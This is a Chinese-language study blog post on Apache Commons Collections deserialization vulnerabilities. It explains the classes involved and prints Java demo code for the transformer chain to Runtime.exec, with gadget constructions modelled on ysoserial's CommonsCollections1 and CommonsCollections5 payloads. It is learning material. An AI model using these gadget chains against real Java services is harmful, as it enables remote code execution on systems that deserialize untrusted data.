JAVA 安全学习笔记(四)Apache Commons Collections反序列化漏洞
九涅·烧包包儿 / / 程序员 / 阅读量
>  Author: shaobaobaoer
>  Codes : https://github.com/ninthDevilHAUNSTER/JavaSecLearning
>  Mail: shaobaobaoer@126.com
>  WebSite: shaobaobaoer.cn
>  Time: Saturday, 25. July 2020 11:02AM

Apache Commons Collections

Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。本节将逐步详解Collections反序列化攻击链(仅以TransformedMap调用链为示例)最终实现反序列化RCE。

这个组件应该用的非常多的,我用的是在http://www.java2s.com/Code/Jar/a/Downloadapachecommonsjar.htm上下载的apache-commons.jar文件。其他的jar应该大同小异,也可以在maven仓库中下载。(咱不懂为啥JAVA的包管理机制这么奇怪,我这个小菜鸡不知道,也不敢问~)

Apache Commons Collections 中的 Transformer 类

InvokerTransformer 类

在Collections中提供了一个非常重要的类: org.apache.commons.collections.functors.InvokerTransformer, 这个类实现了:java.io.Serializable接口。

InvokerTransformer类实现了org.apache.commons.collections.Transformer接口, Transformer提供了一个对象转换方法:transform.主要用于将输入对象转换为输出对象。InvokerTransformer类的主要作用就是利用Java反射机制来创建类实例。

InvokerTransformer 扩展了 序列化 与 Transformer 类。

构造函数

其构造函数为三个东西,一个是方法名,一个是参数类型列表,一个是参数列表

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

transform

其提供了一个方法,带入一个Object,可执行其Object.methodName(args)这样的方法

public Object transform(Object input) {
    Class cls = input.getClass();
    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
    return method.invoke(input, this.iArgs);
}

demo

使用InvokerTransformer实现调用本地命令执行方法。但在真实的漏洞利用场景我们是没法在调用transformer.transform的时候直接传入Runtime.getRuntime()对象的(毕竟代码是人家写的)

public static void InvokerTransformerVuln() throws IOException {
        InvokerTransformer itf = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd});
        Process res = (Process) itf.transform(Runtime.getRuntime()); // 相当于 Runtime.getRuntime().exec(cmd)
        String res_output = IOUtils.toString(res.getInputStream(), "GBK");
        System.out.println(res_output);
    }

ChainedTransformer 类

ChainedTransformer类实现了Transformer链式调用, 我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。

构造函数

其构造函数为传入一个 Transformer 数组

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

transform方法

transform方法为对其循环调用

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

构造调用链

所谓调用链,先来搞一下直线式构造到底的调用链。如下所示:

Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd)

将其展开为InvokerTransformer链,则有:

ConstantTransformer 为获取一个常量。其tranform方法就是返回这个常量。
Transformer[] tf_array = new Transformer[]{
    new ConstantTransformer(Runtime.class),  // Runtime.class.
    new InvokerTransformer("getMethod", new Class[]{
        String.class, Class[].class}, new Object[]{
        "getRuntime", new Class[0]}
                          ), // Runtime.class.getMethod("getRuntime")
    new InvokerTransformer("invoke", new Class[]{
        Object.class, Object[].class}, new Object[]{
        null, new Object[0]}
                          ),// Runtime.class.getMethod("getRuntime").invoke(null)
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        // Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd)
};

注意,对于语句

Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd)

并不执行得了,因为invoke返回的是Object对象,Object对象是没有exec方法的。

按照写为一行的代码,真正能正确执行的语句应该是
((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec(cmd)
这样才能正确执行。

可能会触发 .transform 方法的 若干接口实现类

TransformedMap 类

TransformedMap 本意是对放入Map的键值对做一些转换。 这转换的方法就是transformed类,而该类又存在着反序列化的方法来保存内容。由此就有了反序列化的漏洞

构造函数

// 构造函数的protected ,用decorate来实现。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

Put
使用Put,Putall等方法会触发keyTransformervalueTransformer,而获取单个元素后,使用 SetValue会触发valueTransformer

public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}

DEMO

public static void TransformedMapVuln() {
    try {
        HashMap<String, String> m = new HashMap<String, String>();
        m.put("1", "1");
        Transformer transformedChain = new ChainedTransformer(evil_tf_chain);
        Map<String, String> transformedMap = TransformedMap.decorate(m, null, transformedChain);

        for (Object obj : transformedMap.entrySet()) {
            Map.Entry entry = (Map.Entry) obj;

            // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
            entry.setValue("test");
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}

LazyMap 类 与 TiedMapEntry 类

LazyMap类和 TransformedMap 很像,其构造函数中的一部分如下所示

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = factory;
    }

可见在构造的时候(调用.decorate方法,和TransformedMap一样),会给this.factory复制。

之后,在其get方法中,会隐藏调用.transform方法,从而触发调用链。

public Object get(Object key) {
    if (!this.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        this.map.put(key, value);
        return value;
    } else {
        return this.map.get(key);
    }
}

于是问题就变得简单起来,只要有某一个类能够触发LazyMap.get()就可以了。

这个类存不存在呢?当然是存在的,那就是TiedMapEntry类,这个类非常有意思。文档中对其解释是

可以用来使映射条目能够在基础映射上进行更改,这可能会使所有迭代器混乱。

也就是说,该类能够让原本一个Map上的key换成新的key,实际上完成的是Map>oldkey,value>的映射。

我们来看一下其构造函数与其他两个关键函数

public TiedMapEntry(Map map, Object key) {
    this.map = map;
    this.key = key;
}

public Object getValue() {
    return this.map.get(this.key);
}

public String toString() {
    return this.getKey() + "=" + this.getValue();
}

很好,现在发现了该类可以有两个函数,可以连到LazyMap.get()函数上去,一个是toString方法(调用了getValue,再调用了get),一个是getValue方法(直接调用了get)。

demo

根据上述信息,我们可以写两个DEMO,一个是直接利用LazyMap.get()来触发链,另一个则是把精心构造的LazyMap塞到了TiedMapEntry中,通过System.out.println()调用。

// DEMO1
Transformer transformChain = new ChainedTransformer(evil_tf_chain);
Map<?, ?> innerMap = new HashMap<>();
Map<?, ?> lazyMap = LazyMap.decorate(innerMap, transformChain);
lazyMap.get('1');

// DEMO2
Transformer transformChain = new ChainedTransformer(evil_tf_chain);
Map<?, ?> innerMap = new HashMap<>();
Map<?, ?> lazyMap = LazyMap.decorate(innerMap, transformChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "shaobao");
System.out.println(entry);

隐藏调用常规方法的类

AnnotationInvocationHandler

我装的是JAVA 14,这个类的写法和别人博客里非常不一样,所以也导致了我复现失败。
注:在高版本的1.8 JDK往后的JDK中该类的代码已经被修改,而无法使用,因此如果你需要做这个实验的话,需要安装1.8的低版本JDK,例如在1.8 u60中该代码可以被使用。

AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMapMapEntrysetValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。

构造函数

由于它是一个内部类,不能直接new,但是我们有着万能的反射机制。其入口参数是一个Annotaion接口的实现类以及一个Map。

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    Class<?>[] superInterfaces = type.getInterfaces();
    if (!type.isAnnotation() ||
        superInterfaces.length != 1 ||
        superInterfaces[0] != java.lang.annotation.Annotation.class)
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    this.type = type;
    this.memberValues = memberValues;
}

readObject

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    ...(省略无关代码)
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name))); // 注意此处的setValue
            }
        }
    }
}
}

观察其readObject的最后一行,可以看到其存在着一个遍历Map中元素,并setValue的操作。

那么之前在分析 TransformedMap 有发现,其实它的setValue会触发transform的方法(如ChainedTransformer.transform)。于是就完成了RCE。

demo

public static void AnnotationInvocationHandlerVuln() {
    try {
        Map<String, String> m = new HashMap<>();
        m.put("value", "value");
        Map<?, ?> transformedMap = TransformedMap.decorate(m, null, new ChainedTransformer(evil_tf_chain));
        Class<?> Aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> Aih_cons = Aih.getDeclaredConstructor(Class.class, Map.class);
        Aih_cons.setAccessible(true);
        Object obj = Aih_cons.newInstance(Target.class, transformedMap);
        ObjectSerializeAndDeserializeWithStream(obj); //模拟序列化与反序列化的过程,理论上可以完成命令执行,但是我JAVA版本14复现失败了。
    } catch (Exception e) {
        e.printStackTrace();
    }
}

RCE链

实际参考了[CommonsCollections1](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java)的代码
ObjectInputStream.readObject()
  ->AnnotationInvocationHandler.readObject()
      ->TransformedMap.entrySet().iterator().next().setValue()
          ->TransformedMap.checkSetValue()
        ->TransformedMap.transform()
          ->ChainedTransformer.transform()
            ->ConstantTransformer.transform()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Class.getMethod()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.getRuntime()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.exec()

BadAttributeValueExpException

首先它继承了Exception类,没错,不要因为它是错误类就忽略它,它居然自定义了readObject方法,我们来仔细看一下

构造方法

传入一个Object进去,并调用其.toString()方法。但是不要激动,反序列化的时候不会触发构造函数,更别提.toString()方法了。此外,反序列化的时候,this.val应该是一段字符串,因为进行new 的时候,this.val一定会被赋值成一段字符串。。

public BadAttributeValueExpException (Object val) {
    this.val = val == null ? null : val.toString();
}

readObject方法

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    // 从Steam中获取 val字段的值,如果不存在,则赋值为null
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val = valObj;
    } else if (System.getSecurityManager() == null
               || valObj instanceof Long
               || valObj instanceof Integer
               || valObj instanceof Float
               || valObj instanceof Double
               || valObj instanceof Byte
               || valObj instanceof Short
               || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

什么?按照正常的逻辑,val是个String?但是没有关系,我们有着无敌的反射机制,可以把val给偷天换日了。但是,如果System.getSecurityManager()的值不是null(我猜测这应该是java的某种设置),那就不能进入到val = valObj.toString();的分支了。

demo

综上所述,可以写如下DEMO

public static void BadAttributeValueExpExceptionVuln() {
    try {
        Transformer transformChain = new ChainedTransformer(evil_tf_chain);

        Map<?, ?> innerMap = new HashMap<>();
        Map<?, ?> lazyMap = LazyMap.decorate(innerMap, transformChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");

        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);

        Field valField = exception.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(exception, entry);

        ObjectSerializeAndDeserializeWithStream(exception);

    } catch (
        Exception e) {
        e.printStackTrace();
    }
}

RCE

实际参考了 CommonsCollections5 的代码
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

反序列化漏洞组合的相关条件

那么回顾刚才这一些系列的操作,我们是不是可以总结一下呢?看到了Freebuf上的一篇博客,感觉获益匪浅。这里记录下。

反序列化漏洞触发步骤整理

  • 我们首先需要一个恶意对象(EvilObject),它将使用一个特定方法(EvilMethod)来触发命令执行。
  • 我们还需要一个宿主(SerializableClass),这个宿主是一个可序列化的类,该类在重写readObject的同时,还加入了一些额外的,看上去很正常的方法(NormalMethod)。当该类被反序列化的时候,它会触发readObject()中的NormalMethod(),一切看上去都非常正常。
  • 为了连接这两个玩意儿,我们需要一个媒介类(MediumClass),这个媒介是是连接EvilMethod和NormalMethod的东西。简单来说,就是它内连 EvilObject,外接 SerializableClass,自身包含着EvilObject,又作为一个重要变量或参数存在于SerializableClass中。当SerializableClass调用NormalMethod的时候,会连动它调用EvilMethod。
  • 一般来说,需要一些“畸形”的操作,把包含着EvilObject的MediumClass给放到SerializableClass中去。因为很简单,SerializableClass初始化的时候,往往会用到一些非常正常的常量来作为其类变量(比如Integer,String等)。但是往往需要我们将这些正常的变量给换成MediumClass。

这么说自然是非常抽象,接下来引入那个 AnnotationInvocationHandler的调用链,就有较为直观的认识。

  • EvilObject为ChainedTransformer,EvilMethod为transform。利用.transform将触发命令执行
  • SerializableClass为AnnotationInvocationHandler,它的readObject中,将调用其一个Map类成员变量(姑且这么称呼,实际上并非如此)的setValue方法
  • MediumClass为transformedMap,它的一个类成员变量为EvilObject,当它的.setValue方法被触发的时候,它将调用EvilObject.transform,来触发命令执行。
  • 对于这个例子而言,“畸形”操作就是利用反射获取构造函数后,把给塞进去,就可以了。transformedMapObject obj = Aih_cons.newInstance(Target.class, transformedMap);这是一个比较简单的例子。

相比之下,BadAttributeValueExpException的方法就稍微复杂了一些,在对该类初始化的时候,关键变量BadAttributeValueExpException.val还是一个非常正常的Object,需要“畸形”操作来把它替换为Entry。如何做呢?那就是利用了Field.set方法去非法篡改val的值。这也只是一步操作,我相信随着学习的深入,这个所谓的“畸形”操作也大有讲究。

希望这个例子能对我理解Apache Commons Collections的反序列化漏洞有所帮助。

之后将详细对这三部分进行整理。

病毒:一个可以进行恶意操作的恶意对象(EvilObject)

找到一个可以实现执行恶意代码的工具类,他们的作用是将我们的恶意代码伪装起来,并且在一个合理的时机里触发我们的恶意代码。

在之前的介绍中,符合这样一个类型的Object是

  • Transformer
  • ConstantTransformer
  • InvokerTransformer
  • ChainedTransformer

根据精心设定,这些类在执行transform方法的时候,会触发预先植入的恶意代码。

宿主:一个实现readObject方法且可能存在其他可利用行为的Serializable类(SerializableClass)

该类是可以被反序列化的,将上述对象包装到这个类中,这样在这个类进行反序列化的过程中,它将会调用readObject方法的同时,进行一些额外的操作,这些额外的操作是可以利用的,并且会触发恶意对象中的恶意方法。

在之前的介绍中,符合这样一个类型的类是

  • BadAttributeValueExpException 类
  • readObject的时候,将调用一个Object型类成员的.toString()方法。
  • AnnotationInvocationHandler 类(JDK<=7)
  • readObject的时候,将调用一个Map型类成员的.setValue()方法。

媒介:用来构建恶意对象到触发对象的包装类(HiddenSerializeOperationClass)

这样一个包装类,会在隐藏得执行一些序列化/反序列化操作。这样就能够触发之前SerializableClass中的readObject(wirteObject)方法。那么哪些类有着这些特征呢?

如果SerializableClass为AnnotationInvocationHandler,那么就需要找到连接Map.setValue和InvokerTransformer.transform的桥梁。

如果SerializableClass为BadAttributeValueExpException 类,那么就需要找到链接Object.toString和InvokerTransformer.transform的桥梁。

在之前的介绍中,符合这样一个类型的类是

  • LazyMap
  • 提供了 Map.get和InvokerTransformer.transform的桥梁
  • TransformedMap
  • 提供了 Map.setValue和InvokerTransformer.transform的桥梁
  • LazyMap+TiedMapEntry
  • 提供了 Object.toString和InvokerTransformer.transform的桥梁
  • TiedMapEntry.toString->TiedMapEntry.getValue->LazyMap.get->InvokerTransformer.transform
支付宝捐赠
请使用支付宝扫一扫进行捐赠
微信捐赠
请使用微信扫一扫进行赞赏
有 0 篇文章